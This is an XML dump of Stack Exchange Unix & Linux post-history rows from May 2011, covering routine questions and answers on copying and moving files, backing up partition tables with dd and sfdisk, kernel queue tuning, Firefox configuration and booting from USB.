  <row Id="31945" PostHistoryTypeId="10" PostId="12949" RevisionGUID="31be007f-1573-4267-abdb-b44eb11b021c" CreationDate="2011-05-10T21:01:59.090" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="31947" PostHistoryTypeId="25" PostId="12956" RevisionGUID="4562e50b-878c-4386-b285-31975ae9ccf7" CreationDate="2011-05-10T21:11:40.227" Comment="http://twitter.com/#!/StackUnix/status/68060657873985537" />
  <row Id="31948" PostHistoryTypeId="2" PostId="12972" RevisionGUID="7505c4b1-c665-4913-81ba-6f0ac6ceb205" CreationDate="2011-05-10T21:37:39.633" UserId="7370" Text="Here is a simple solution using paste:&#xD;&#xA;&#xD;&#xA;    paste -d ' ' file.txt file.txt" />
  <row Id="31949" PostHistoryTypeId="6" PostId="12966" RevisionGUID="c41205d5-ba41-4e41-93a2-b1d515a05d11" CreationDate="2011-05-10T21:56:27.507" UserId="885" Comment="edited tags" Text="éosxàéfindàécpà" />
  <row Id="31950" PostHistoryTypeId="2" PostId="12973" RevisionGUID="6ee2b0d0-3968-4fec-b470-f3d65e520269" CreationDate="2011-05-10T22:03:10.697" UserId="885" Text="So you want to copy all the `.html` files in some source directory and its subdirectories, all to a single directory (i.e. collapsing the hierarchy)?&#xD;&#xA;&#xD;&#xA;[POSIX](http://pubs.opengroup.org/onlinepubs/009695399/utilities/find.html) Standard:&#xD;&#xA;&#xD;&#xA;    find myDir -name '*.html' -type f -exec sh -c 'cp &quot;$@&quot; &quot;$0&quot;' ~/otherDir {} +&#xD;&#xA;&#xD;&#xA;Note that `~/otherDir` becomes parameter 0 to the intermediate shell, which allows for the source files to be precisely `&quot;$@&quot;`. Leaving the target directory outside the shell has the additional advantage that you won't run into quoting issues if that's a variable in the parent shell script (`-exec sh -c 'cp &quot;$@&quot; &quot;$0&quot;' &quot;$target&quot;`).&#xD;&#xA;&#xD;&#xA;For older systems that don't have `find … -exec … +`:&#xD;&#xA;&#xD;&#xA;    find myDir -name '*.html' -type f -exec cp {} ~/otherDir \;&#xD;&#xA;&#xD;&#xA;I your shell is bash ≥4 or zsh:&#xD;&#xA;&#xD;&#xA;    setopt globstar  # only for bash, put it in your `.bashrc`&#xD;&#xA;    cp myDir/**/*.html ~/otherDir/&#xD;&#xA;" />
  <row Id="31951" PostHistoryTypeId="6" PostId="12971" RevisionGUID="f4e0ba7c-58f0-4831-a2cb-7b90cb461a51" CreationDate="2011-05-10T22:04:24.427" UserId="885" Comment="edited tags" Text="éguiàéfileöcopyàéfileömanageràédragöandödropà" />
  <row Id="31952" PostHistoryTypeId="6" PostId="12965" RevisionGUID="da0a6da9-814d-487d-8f31-ae10af6c6ea5" CreationDate="2011-05-10T22:05:11.710" UserId="885" Comment="edited tags" Text="éalsaàépulseaudioà" />
  <row Id="31953" PostHistoryTypeId="6" PostId="12946" RevisionGUID="00f96407-9178-4f32-8ed2-4a57c0ae836a" CreationDate="2011-05-10T22:13:03.790" UserId="885" Comment="edited tags" Text="élinuxàéprocessàépermissionsàéfilesà" />
  <row Id="31954" PostHistoryTypeId="2" PostId="12974" RevisionGUID="5d813914-1764-476c-a707-2cda0d88fabd" CreationDate="2011-05-11T00:09:50.710" UserId="5926" Text="I have a USB touch screen system with Fedora 14 installed. I couldn't get to play sound on any mouse click(on touch). Is there anyway to play the click sound using any application ? or is there any configuration tat i need to change to get the sound ??" />
  <row Id="31955" PostHistoryTypeId="1" PostId="12974" RevisionGUID="5d813914-1764-476c-a707-2cda0d88fabd" CreationDate="2011-05-11T00:09:50.710" UserId="5926" Text="Mouse click sound on fedora" />
  <row Id="31956" PostHistoryTypeId="3" PostId="12974" RevisionGUID="5d813914-1764-476c-a707-2cda0d88fabd" CreationDate="2011-05-11T00:09:50.710" UserId="5926" Text="éfedoraàéusbàétouchpadà" />
  <row Id="31957" PostHistoryTypeId="2" PostId="12975" RevisionGUID="a899a38e-32b8-4b6e-8b59-b3030ea8baa2" CreationDate="2011-05-11T00:11:04.330" UserId="1925" Text="The default gui file manager in gnome (`nautilus`) support this by default. It feels like about 1500ms for folders to open while hovering over them as a drag target. I'm sure that time is configurable." />
  <row Id="31958" PostHistoryTypeId="25" PostId="12950" RevisionGUID="ca13ecf7-2a2c-468d-a1ad-03b5d66c8591" CreationDate="2011-05-11T00:11:44.517" Comment="http://twitter.com/#!/StackUnix/status/68105970848514048" />
  <row Id="31959" PostHistoryTypeId="5" PostId="12975" RevisionGUID="ecad18df-9264-4b7b-84bc-94e58f50daf6" CreationDate="2011-05-11T00:19:13.260" UserId="1925" Comment="added 479 characters in body" Text="The just tested in Nautilus, the default file manager for Gnome support this by default. It feels like about 1500ms for folders to open while hovering over them as a drag target. I'm sure that time is configurable. (Tested with nautilus 2.32.2.1 on PLD-Linux TH)&#xD;&#xA;&#xD;&#xA;I also fired up KDE and tested both Konqueror and Dolphin. The default configurations don't seem to support it but it's a little funky because the desktop folder widget DOES support it, so obviously some parts of the system are aware enough to handle the case. I suspect this might turn out to be something you could enable if you knew where the setting was. (Tested with Dolphin 1.6 and Konqueror 4.6 on OpenSUSE)" />
  <row Id="31960" PostHistoryTypeId="5" PostId="12974" RevisionGUID="45922e77-75ee-4940-ba5d-16df3cfc657b" CreationDate="2011-05-11T00:19:26.160" UserId="885" Comment="grammar; tags" Text="I have a USB touch screen system with Fedora 14 installed. I couldn't get to play sound on any mouse click (on touch). Is there anyway to play a click sound, either by changing some configuration or using an application?&#xD;&#xA;" />
  <row Id="31961" PostHistoryTypeId="6" PostId="12974" RevisionGUID="45922e77-75ee-4940-ba5d-16df3cfc657b" CreationDate="2011-05-11T00:19:26.160" UserId="885" Comment="grammar; tags" Text="élinuxàéxorgàéaudioàémouseàétouchöscreenà" />
  <row Id="31962" PostHistoryTypeId="5" PostId="12971" RevisionGUID="3930dcad-f00e-4f57-9ee7-7155af597a69" CreationDate="2011-05-11T00:44:52.910" UserId="1375" Comment="Specified software requirements." Text="One thing I miss about Finder, Mac OS X's file manager, is the spring-loaded folder function where if you drag a file(s) over another folder long enough, the folder would open and you can &quot;navigate&quot; through folders while holding down the mouse button until you reach where you want to drop the file.&#xD;&#xA;&#xD;&#xA;Does such a feature exist in Linux file managers? Is so, which ones? Thanks.&#xD;&#xA;&#xD;&#xA;BTW, I prefer lightweight programs with as few dependencies as possible." />
  <row Id="31963" PostHistoryTypeId="2" PostId="12976" RevisionGUID="c0e12b30-b111-4567-809c-2fa22964e6c4" CreationDate="2011-05-11T01:34:20.373" UserId="7372" Text="I have a directory with thousands of files.&#xD;&#xA;&#xD;&#xA;I want to move 100 of the files (any files of them) to other location&#xD;&#xA;&#xD;&#xA;I have no idea what to do. I've tried many ways with no luck" />
  <row Id="31964" PostHistoryTypeId="1" PostId="12976" RevisionGUID="c0e12b30-b111-4567-809c-2fa22964e6c4" CreationDate="2011-05-11T01:34:20.373" UserId="7372" Text="How to move 100 of files" />
  <row Id="31965" PostHistoryTypeId="3" PostId="12976" RevisionGUID="c0e12b30-b111-4567-809c-2fa22964e6c4" CreationDate="2011-05-11T01:34:20.373" UserId="7372" Text="éfilesà" />
  <row Id="31966" PostHistoryTypeId="2" PostId="12977" RevisionGUID="21e68174-65bd-4c83-beda-a2495d97edcf" CreationDate="2011-05-11T01:39:46.937" UserId="1879" Text="    for file in $(ls | tail -100)&#xD;&#xA;    do&#xD;&#xA;    mv $file /other/location&#xD;&#xA;    done" />
  <row Id="31967" PostHistoryTypeId="2" PostId="12978" RevisionGUID="f876b4dc-524d-4aa8-843e-7ce516ced562" CreationDate="2011-05-11T02:27:57.063" UserId="7361" Text="I know this is not the exact answer to your question but the curses library is the stuff you need to do some tui dev. " />
  <row Id="31968" PostHistoryTypeId="5" PostId="12977" RevisionGUID="5e514ef2-a9fb-4ea9-9176-aef92c1c18cf" CreationDate="2011-05-11T02:41:37.647" UserId="1879" Comment="added 13 characters in body" Text="    for file in $(ls -p | grep -v / | tail -5)&#xD;&#xA;    do&#xD;&#xA;    mv $file /other/location&#xD;&#xA;    done" />
  <row Id="31969" PostHistoryTypeId="25" PostId="12976" RevisionGUID="0605ea7e-e9eb-4fd5-8be7-fd3f6963f3d7" CreationDate="2011-05-11T03:11:46.397" Comment="http://twitter.com/#!/StackUnix/status/68151279851024384" />
  <row Id="31972" PostHistoryTypeId="2" PostId="12980" RevisionGUID="2c5d0c38-882e-47c4-bad7-6670b3e2178a" CreationDate="2011-05-11T04:55:31.223" UserId="2469" Text="I am interested in purchasing an printer and scanner and would very much like the convenience of using an all-in-one model. The issue is that I am a very strict a user of Debian GNU/Linux. I hear very bad things about all-in-one support.&#xD;&#xA;&#xD;&#xA;I am asking if there are any low end (preferably even store bought models) that I can safely print and scan with free software. If I have to install a non-free binary driver; it is not preferred but agreeable. I want to make sure it works with Debian though.&#xD;&#xA;&#xD;&#xA;Does anyone have any recommendations? The answer &quot;no, none work&quot; is valid as well if true. ;)" />
  <row Id="31973" PostHistoryTypeId="1" PostId="12980" RevisionGUID="2c5d0c38-882e-47c4-bad7-6670b3e2178a" CreationDate="2011-05-11T04:55:31.223" UserId="2469" Text="Do any &quot;All In One&quot; Printer/Scanner work on Linux?" />
  <row Id="31974" PostHistoryTypeId="3" PostId="12980" RevisionGUID="2c5d0c38-882e-47c4-bad7-6670b3e2178a" CreationDate="2011-05-11T04:55:31.223" UserId="2469" Text="élinuxàéprintingà" />
  <row Id="31976" PostHistoryTypeId="5" PostId="12935" RevisionGUID="e57bdae4-599b-4db1-839c-aadda25f8d7f" CreationDate="2011-05-11T06:08:42.433" UserId="7360" Comment="added 48 characters in body; added 3 characters in body" Text="Are there any Haskell packages that operate similarly to Cfengine2/3, Puppet and Chef?&#xD;&#xA;&#xD;&#xA;This would be to configure Linux, Solaris, Mac OS and FreeBSD. " />
  <row Id="31977" PostHistoryTypeId="25" PostId="12966" RevisionGUID="2f784c37-11aa-4a77-8ccd-db97b9de8ba2" CreationDate="2011-05-11T06:11:46.440" Comment="http://twitter.com/#!/StackUnix/status/68196579345047553" />
  <row Id="31978" PostHistoryTypeId="4" PostId="12935" RevisionGUID="83bc914f-ce80-4d02-b5fb-ed77deb0af06" CreationDate="2011-05-11T06:14:01.247" UserId="7360" Comment="edited title; added 24 characters in body" Text="Are there any client-server system configuration policy management frameworks written in functional programming languages (Erlang or Haskell)??" />
  <row Id="31979" PostHistoryTypeId="5" PostId="12935" RevisionGUID="83bc914f-ce80-4d02-b5fb-ed77deb0af06" CreationDate="2011-05-11T06:14:01.247" UserId="7360" Comment="edited title; added 24 characters in body" Text="Are there any (Erlang, Haskell, Lisp, etc. packages) that operate similarly to Cfengine2/3, Puppet and Chef?&#xD;&#xA;&#xD;&#xA;This would be to configure Linux, Solaris, Mac OS and FreeBSD. &#xD;&#xA;" />
  <row Id="31981" PostHistoryTypeId="2" PostId="12982" RevisionGUID="97362cae-97e8-4583-bf55-1c1693a9c7c7" CreationDate="2011-05-11T06:48:01.727" UserId="7360" Text="&#xD;&#xA;    chown root:root /path/to/logfile /path/to/program&#xD;&#xA;    chmod go-strwx /path/to/logfile /path/to/program&#xD;&#xA;&#xD;&#xA;If it's that important, might want to isolate the data in a VM, domU, jail/container or on a central box over a dedicated private network.  AppArmor or SELinux could be evaluated.&#xD;&#xA;&#xD;&#xA;While I was attending RAID2001 at Davis, there was a talk from HP on a fully-instrumented Linux kernel with a hidden NIC logging system calls to a separate master box." />
  <row Id="31982" PostHistoryTypeId="5" PostId="12980" RevisionGUID="2eb2fb4a-8602-4818-90d6-85a97ad0a118" CreationDate="2011-05-11T07:14:18.317" UserId="6761" Comment="grammar/spelling" Text="I am interested in purchasing a printer and scanner and would very much like the convenience of using an all-in-one model. The issue is that I am a very strict user of Debian GNU/Linux. I have heard very bad things about all-in-one support.&#xD;&#xA;&#xD;&#xA;I am asking if there are any low end (preferably even store bought models) that I can safely print and scan with, using free software. If I have to install a non-free binary driver; I would do so, but it wouldn't be my preference. However, I do want to ensure it works with Debian.&#xD;&#xA;&#xD;&#xA;Does anyone have any recommendations? The answer &quot;no, none work&quot; is valid as well if true. ;)" />
  <row Id="31983" PostHistoryTypeId="4" PostId="12980" RevisionGUID="2eb2fb4a-8602-4818-90d6-85a97ad0a118" CreationDate="2011-05-11T07:14:18.317" UserId="6761" Comment="grammar/spelling" Text="Do any &quot;All In One&quot; Printer/Scanners work on Linux?" />
  <row Id="31984" PostHistoryTypeId="24" PostId="12980" RevisionGUID="2eb2fb4a-8602-4818-90d6-85a97ad0a118" CreationDate="2011-05-11T07:14:18.317" Comment="Proposed by 6761 approved by 885 edit id of 365" />
  <row Id="31985" PostHistoryTypeId="5" PostId="12978" RevisionGUID="3c737890-4e5e-413e-bd0d-4785655fbcb0" CreationDate="2011-05-11T07:18:33.180" UserId="885" Comment="added 189 characters in body" Text="I know this is not the exact answer to your question but the [curses](http://en.wikipedia.org/wiki/Curses_%28programming_library%29) library is the stuff you need to do some tui dev. If you're a programmer, looking at its source (available in all open-source unix distributions) will show you how it's done." />
  <row Id="31986" PostHistoryTypeId="2" PostId="12983" RevisionGUID="976092ba-be18-4910-b3fb-204e4dd7dc74" CreationDate="2011-05-11T07:24:57.230" UserId="885" Text="It's easiest in zsh:&#xD;&#xA;&#xD;&#xA;    mv -- *([1,100]) /other/location/&#xD;&#xA;&#xD;&#xA;This moves the first 100 files in name lexicographic order. You can select a different sort order with the `o` [glob qualifier](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Glob-Qualifiers), e.g. to move the 100 oldest files:&#xD;&#xA;&#xD;&#xA;    mv -- *(Om[1,100]) /other/location/&#xD;&#xA;&#xD;&#xA;With other shells, you can do it in a loop with an early exit.&#xD;&#xA;&#xD;&#xA;    i=0&#xD;&#xA;    for x in *; do&#xD;&#xA;      if [ &quot;$i&quot; = 100 ]; then break; fi&#xD;&#xA;      mv -- &quot;$x&quot; /other/location/&#xD;&#xA;      i=$(($i+1))&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="31987" PostHistoryTypeId="5" PostId="12980" RevisionGUID="589cdaa3-b81c-46a5-a5cd-bf338f0c55e7" CreationDate="2011-05-11T07:28:22.933" UserId="885" Comment="generalized the question out of “recommend me a model”" Text="I am interested in purchasing a printer and scanner and would very much like the convenience of using an all-in-one model. The issue is that I am a very strict user of Debian GNU/Linux. I have heard very bad things about all-in-one support.&#xD;&#xA;&#xD;&#xA;I am asking if there are any low end (preferably even store bought models) that I can safely print and scan with, using free software. If I have to install a non-free binary driver; I would do so, but it wouldn't be my preference. However, I do want to ensure it works with Debian.&#xD;&#xA;&#xD;&#xA;What resources can I consult before buying to ensure the model I select will work?&#xD;&#xA;And if only a few models work, how can I find the needle in the haystack?&#xD;&#xA;" />
  <row Id="31989" PostHistoryTypeId="2" PostId="12984" RevisionGUID="605fa782-1405-4c29-84fb-ca5f93f52f18" CreationDate="2011-05-11T07:46:47.230" UserId="4200" Text="To check if it is root that runs the program, you should call `getuid()`." />
  <row Id="31990" PostHistoryTypeId="2" PostId="12985" RevisionGUID="8936f3a4-a18c-4e6e-87d4-440d94f37ced" CreationDate="2011-05-11T07:54:28.487" UserId="7376" Text="Quite often in the course of troubleshooting and tuning things I find myself thinking about the following kernel settings:&#xD;&#xA;&#xD;&#xA;net.core.netdev_max_backlog net.ipv4.tcp_max_syn_backlog net.core.somaxconn&#xD;&#xA;&#xD;&#xA;Other than fs.file-max, net.ipv4.ip_local_port_range, net.core.rmem_max, net.core.wmem_max, net.ipv4.tcp_rmem, and net.ipv4.tcp_wmem they seems to be the important nobs to mess with when you are tuning a box for high levels of concurrency.&#xD;&#xA;&#xD;&#xA;My question: How can I check to see how many items are in each of those queues ? Usually people just set them super high, but I would like to keep track of those q sizes historically to help predict future failure and catch issues before they manifest in a user noticeable way." />
  <row Id="31991" PostHistoryTypeId="1" PostId="12985" RevisionGUID="8936f3a4-a18c-4e6e-87d4-440d94f37ced" CreationDate="2011-05-11T07:54:28.487" UserId="7376" Text="how to check rx ring, max_backlog, and max_syn_backlog size" />
  <row Id="31992" PostHistoryTypeId="3" PostId="12985" RevisionGUID="8936f3a4-a18c-4e6e-87d4-440d94f37ced" CreationDate="2011-05-11T07:54:28.487" UserId="7376" Text="ékernelàénetworkingàétcpà" />
  <row Id="31993" PostHistoryTypeId="5" PostId="12934" RevisionGUID="bce58a36-66c1-49c2-a6ef-e465d3363cf7" CreationDate="2011-05-11T07:56:47.733" UserId="7360" Comment="added 274 characters in body" Text="There are many kernels in existence.&#xD;&#xA;&#xD;&#xA;`Linux` is not the only game out there, but it's the most widely used.  Some people recommend the `minix` kernel to understand operating system concepts.  I would go with Linux 2.6.x series as it's the most common and it won't be wasted on something (almost) nobody uses.  Solaris, XNU (Mac), FreeBSD and Dragonfly are notable.[1]&#xD;&#xA;&#xD;&#xA;Find something super simple (serial port, usb, etc.) and make it do something else.  For an extra challenge, try writing a kernel module for something that doesn't yet have one.  (Be sure to google the suspect by pci `sudo lspci -nn` and/or usb id `sudo lsusb` first.)&#xD;&#xA;&#xD;&#xA;*Update:* Don't do this directly on your primary system, use virtual machines (VM) (computer in a computer) as mentioned.  [VirtualBox][2] can provide this and it's free.  Also, I don't want it to seem overwhelming, but try VM snapshots so you can go back in case something breaks the VM itself.&#xD;&#xA;&#xD;&#xA;*Update 2*: The note about Git (DVCSes inc. mercurial, fossil, bazaar, darcs) is a good idea, mostly for code and small, important files.  Try not to use Git to backup music, videos and such unless you know the implications. ;)&#xD;&#xA;&#xD;&#xA;[1]: http://en.wikipedia.org/wiki/Comparison_of_operating_system_kernels&#xD;&#xA;[2]: http://www.virtualbox.org/" />
  <row Id="31994" PostHistoryTypeId="2" PostId="12986" RevisionGUID="3022dee3-e659-456d-bfcb-5019e8c369e4" CreationDate="2011-05-11T07:57:49.660" UserId="6339" Text="I want to take a backup of the whole partition _layout_ of a hard drive, including logical drives, so that I can restore that layout to another disk. I do __not__ want to copy the contents of the partitions, only the layout. For the primary and extended partitions, it's easy:&#xD;&#xA;&#xD;&#xA;    dd if=/dev/sda of=partitiontable.bin bs=1 skip=446 count=64&#xD;&#xA;&#xD;&#xA;But when it comes to the layout of the logical partitions, I wonder if there exists among the standard tools a similar way of saving the layout? I guess the main problem is finding the offsets to the locations of the EBRs, because with that, `dd` will do the rest. Keep in mind I need to be able to put everything back to a (possibly) blank disk and thereby restore the same layout. Using partitioning tools like `fdisk` or `parted` is fine, but I must be able to automate their use (scripting) and they should not depend on any X-related packages -- command line only.&#xD;&#xA;&#xD;&#xA;My backup plan is doing it manually in a little python script using the struct module, but I rather hoped there was an easier way.&#xD;&#xA;" />
  <row Id="31995" PostHistoryTypeId="1" PostId="12986" RevisionGUID="3022dee3-e659-456d-bfcb-5019e8c369e4" CreationDate="2011-05-11T07:57:49.660" UserId="6339" Text="How to copy the partition layout of a whole disk using standard tools" />
  <row Id="31996" PostHistoryTypeId="3" PostId="12986" RevisionGUID="3022dee3-e659-456d-bfcb-5019e8c369e4" CreationDate="2011-05-11T07:57:49.660" UserId="6339" Text="écommandölineàépartitionàémbrà" />
  <row Id="31997" PostHistoryTypeId="5" PostId="12986" RevisionGUID="e8b0faba-17a5-4e7f-8019-53d1a46a1104" CreationDate="2011-05-11T08:03:57.727" UserId="6339" Comment="added example restore command too" Text="I want to take a backup of the whole partition _layout_ of a hard drive, including logical drives, so that I can restore that layout to another disk. I do __not__ want to copy the contents of the partitions, only the layout. For the primary and extended partitions, it's easy:&#xD;&#xA;&#xD;&#xA;    dd if=/dev/sda of=partitiontable.bin bs=1 skip=446 count=64 # backup&#xD;&#xA;    dd if=partitiontable.bin of=/dev/sda bs=1 seek=446 count=64 # restore&#xD;&#xA;&#xD;&#xA;But when it comes to the layout of the logical partitions, I wonder if there exists among the standard tools a similar way of saving the layout? I guess the main problem is finding the offsets to the locations of the EBRs, because with that, `dd` will do the rest. Keep in mind I need to be able to put everything back to a (possibly) blank disk and thereby restore the same layout. Using partitioning tools like `fdisk` or `parted` is fine, but I must be able to automate their use (scripting) and they should not depend on any X-related packages -- command line only.&#xD;&#xA;&#xD;&#xA;My backup plan is doing it manually in a little python script using the struct module, but I rather hoped there was an easier way.&#xD;&#xA;" />
  <row Id="31998" PostHistoryTypeId="2" PostId="12987" RevisionGUID="15e71e31-c79d-43be-9b62-1648f299bd36" CreationDate="2011-05-11T08:09:07.773" UserId="6424" Text="If your system uses the pm-utils package for sleep/wake you can put a script in  &#xD;&#xA;/etc/pm/sleep.d/&#xD;&#xA;&#xD;&#xA;Here's a script I use to attach my serial mouse after hibernate:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    # Action script to ensure that serial mouse works&#xD;&#xA;    # after a hibernate/suspend&#xD;&#xA;    #&#xD;&#xA;    # Copyright: Copyright (c) 2009 Michael Vogt&#xD;&#xA;    # License:   GPL-2&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    PATH=/sbin:/usr/sbin:/bin:/usr/bin&#xD;&#xA;    &#xD;&#xA;    SELF=attach-serial-mouse&#xD;&#xA;    COMMAND=&#xD;&#xA;    IFPLUGD_IFACE=&#xD;&#xA;    &#xD;&#xA;    # pm-action(8) - &lt;action&gt; &lt;suspend method&gt;&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    case &quot;${1}&quot; in&#xD;&#xA;            hibernate)&#xD;&#xA;    		# nothing&#xD;&#xA;                    ;;&#xD;&#xA;            resume|thaw)&#xD;&#xA;    		inputattach --daemon -ms3 /dev/ttyS0&#xD;&#xA;                    ;;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;I saved this as 00_attach_serial_mouse." />
  <row Id="31999" PostHistoryTypeId="5" PostId="12987" RevisionGUID="9fe20cb2-ccc0-458e-b521-adf735a9b93f" CreationDate="2011-05-11T08:19:16.390" UserId="6424" Comment="I missed the point of the question" Text="EDIT: It appears my reading comprehension is impaired, I don't think this will help with the X11 aspect, sorry.&#xD;&#xA;&#xD;&#xA;If your system uses the pm-utils package for sleep/wake you can put a script in  &#xD;&#xA;/etc/pm/sleep.d/&#xD;&#xA;&#xD;&#xA;Here's a script I use to attach my serial mouse after hibernate:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    # Action script to ensure that serial mouse works&#xD;&#xA;    # after a hibernate/suspend&#xD;&#xA;    #&#xD;&#xA;    # Copyright: Copyright (c) 2009 Michael Vogt&#xD;&#xA;    # License:   GPL-2&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    PATH=/sbin:/usr/sbin:/bin:/usr/bin&#xD;&#xA;    &#xD;&#xA;    SELF=attach-serial-mouse&#xD;&#xA;    COMMAND=&#xD;&#xA;    IFPLUGD_IFACE=&#xD;&#xA;    &#xD;&#xA;    # pm-action(8) - &lt;action&gt; &lt;suspend method&gt;&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    case &quot;${1}&quot; in&#xD;&#xA;            hibernate)&#xD;&#xA;    		# nothing&#xD;&#xA;                    ;;&#xD;&#xA;            resume|thaw)&#xD;&#xA;    		inputattach --daemon -ms3 /dev/ttyS0&#xD;&#xA;                    ;;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;I saved this as 00_attach_serial_mouse." />
  <row Id="32000" PostHistoryTypeId="5" PostId="12935" RevisionGUID="368b9b49-8cbc-48b4-859b-c818c3ece887" CreationDate="2011-05-11T08:23:21.557" UserId="7360" Comment="added 271 characters in body; edited title" Text="In order to configure *nix boxen (Linux, Solaris, Mac OS and FreeBSD), are there any system configuration management frameworks similar to Puppet and Chef?&#xD;&#xA;&#xD;&#xA;The silly but important requirement is that it must be primarily implemented in a primarily functional-paradigm programming language, i.e., Erlang, Haskell or [throw me a frackn bone here, people].  &#xD;&#xA;&#xD;&#xA;Is there anything close in open source or even the icky depth$ of the payware world?&#xD;&#xA;" />
  <row Id="32001" PostHistoryTypeId="4" PostId="12935" RevisionGUID="368b9b49-8cbc-48b4-859b-c818c3ece887" CreationDate="2011-05-11T08:23:21.557" UserId="7360" Comment="added 271 characters in body; edited title" Text="Are there any other client-server system configuration management frameworks?" />
  <row Id="32002" PostHistoryTypeId="2" PostId="12988" RevisionGUID="3178fe94-5259-4997-9bcf-1dfd793582ca" CreationDate="2011-05-11T08:23:52.367" UserId="173" Text="You can use sfdisk for this task.&#xD;&#xA;&#xD;&#xA;Save:&#xD;&#xA;    &#xD;&#xA;    sfdisk -d /dev/sda &gt; part_table&#xD;&#xA;&#xD;&#xA;Restore:&#xD;&#xA;&#xD;&#xA;    sfdisk /dev/sda &lt; part_table" />
  <row Id="32003" PostHistoryTypeId="2" PostId="12989" RevisionGUID="a4408f50-2850-4898-b5cf-d94442429974" CreationDate="2011-05-11T09:11:15.863" UserId="7360" Text="Older but still interesting [pyparted][2] and [python-lvm][1] bindings.  &#xD;&#xA;&#xD;&#xA;[1]: http://code.google.com/p/python-lvm/&#xD;&#xA;[2]: https://fedorahosted.org/pyparted/" />
  <row Id="32004" PostHistoryTypeId="25" PostId="12986" RevisionGUID="68da8b7e-a5d3-4c94-983a-59f440fc9049" CreationDate="2011-05-11T09:11:47.627" Comment="http://twitter.com/#!/StackUnix/status/68241882253246464" />
  <row Id="32005" PostHistoryTypeId="5" PostId="12985" RevisionGUID="d08b4bab-2dc9-4bfe-ad8b-358acecbe8e2" CreationDate="2011-05-11T09:33:22.507" UserId="885" Comment="formatting; grammar" Text="Quite often in the course of troubleshooting and tuning things I find myself thinking about the following Linux kernel settings:&#xD;&#xA;&#xD;&#xA;    net.core.netdev_max_backlog&#xD;&#xA;    net.ipv4.tcp_max_syn_backlog&#xD;&#xA;    net.core.somaxconn&#xD;&#xA;&#xD;&#xA;Other than `fs.file-max`, `net.ipv4.ip_local_port_range`, `net.core.rmem_max`, `net.core.wmem_max`, `net.ipv4.tcp_rmem`, and `net.ipv4.tcp_wmem`, they seems to be the important knobs to mess with when you are tuning a box for high levels of concurrency.&#xD;&#xA;&#xD;&#xA;My question: How can I check to see how many items are in each of those queues ? Usually people just set them super high, but I would like to log those queue sizes to help predict future failure and catch issues before they manifest in a user noticeable way." />
  <row Id="32006" PostHistoryTypeId="6" PostId="12985" RevisionGUID="d08b4bab-2dc9-4bfe-ad8b-358acecbe8e2" CreationDate="2011-05-11T09:33:22.507" UserId="885" Comment="formatting; grammar" Text="élinuxàékernelàénetworkingàétcpà" />
  <row Id="32014" PostHistoryTypeId="25" PostId="12985" RevisionGUID="3758d5df-6edd-463e-9455-308c29eab98f" CreationDate="2011-05-11T12:11:48.287" Comment="http://twitter.com/#!/StackUnix/status/68287183722786816" />
  <row Id="32015" PostHistoryTypeId="2" PostId="12993" RevisionGUID="f7baca86-e0b7-4dd9-be57-7d206b87427f" CreationDate="2011-05-11T12:24:37.540" UserId="4843" Text="Is it possible to create a default `mimeTypes.rdf`  file for all the existing and new users ? &#xD;&#xA;So that whenever a user opens the firefox for the very first time, he will get the specified rdf file.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32016" PostHistoryTypeId="1" PostId="12993" RevisionGUID="f7baca86-e0b7-4dd9-be57-7d206b87427f" CreationDate="2011-05-11T12:24:37.540" UserId="4843" Text="Firefox mimetypes.rdf" />
  <row Id="32017" PostHistoryTypeId="3" PostId="12993" RevisionGUID="f7baca86-e0b7-4dd9-be57-7d206b87427f" CreationDate="2011-05-11T12:24:37.540" UserId="4843" Text="élinuxàéfirefoxà" />
  <row Id="32018" PostHistoryTypeId="5" PostId="12993" RevisionGUID="64690c95-d5a6-4b35-b0fb-fb68d193baa9" CreationDate="2011-05-11T12:58:19.017" UserId="4843" Comment="added 53 characters in body" Text="Is it possible to create a default `mimeTypes.rdf`  file for all the existing and new users ? &#xD;&#xA;So that whenever a user opens the firefox for the very first time, he will get the specified rdf file in his profile @ `~/.mozilla/firefox/*/mimeTypes.rdf`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32022" PostHistoryTypeId="2" PostId="12995" RevisionGUID="4fad841a-a833-43cb-9c7c-61e0abd9b950" CreationDate="2011-05-11T13:27:29.467" UserId="7385" Text="Where do I download a source RPM from?&#xD;&#xA;&#xD;&#xA;Oops! Your question couldn't be submitted because:&#xD;&#xA;&#xD;&#xA;    Sorry, we can't accept this question.&#xD;&#xA;&#xD;&#xA;Er ... that's not a reason, what sort of guidance is that?&#xD;&#xA;" />
  <row Id="32023" PostHistoryTypeId="1" PostId="12995" RevisionGUID="4fad841a-a833-43cb-9c7c-61e0abd9b950" CreationDate="2011-05-11T13:27:29.467" UserId="7385" Text="Where do I download an RPM from?" />
  <row Id="32024" PostHistoryTypeId="3" PostId="12995" RevisionGUID="4fad841a-a833-43cb-9c7c-61e0abd9b950" CreationDate="2011-05-11T13:27:29.467" UserId="7385" Text="érpmàésoftwareöinstallationà" />
  <row Id="32025" PostHistoryTypeId="2" PostId="12996" RevisionGUID="6c7c65d7-80be-427d-9772-d35edd5f3828" CreationDate="2011-05-11T13:32:41.470" UserId="6960" Text="I have an installed Ubuntu (or e.g.: Fedora).&lt;br&gt;&#xD;&#xA;I need to boot from a CD or a pendrive.&lt;br&gt;&#xD;&#xA;I don't have access to the BIOS, so I can't set it to boot from a CDROM or from an USB flash drive. But I have root access to the installed Ubuntu (or e.g. Fedora). &lt;br&gt;&#xD;&#xA;So I though I would somehow modify the GRUB so that after the machine &quot;boots from the HDD&quot;, the &quot;GRUB boots from the USB flash drive&quot;. Is this possible?&lt;br&gt;&#xD;&#xA;&lt;br&gt;" />
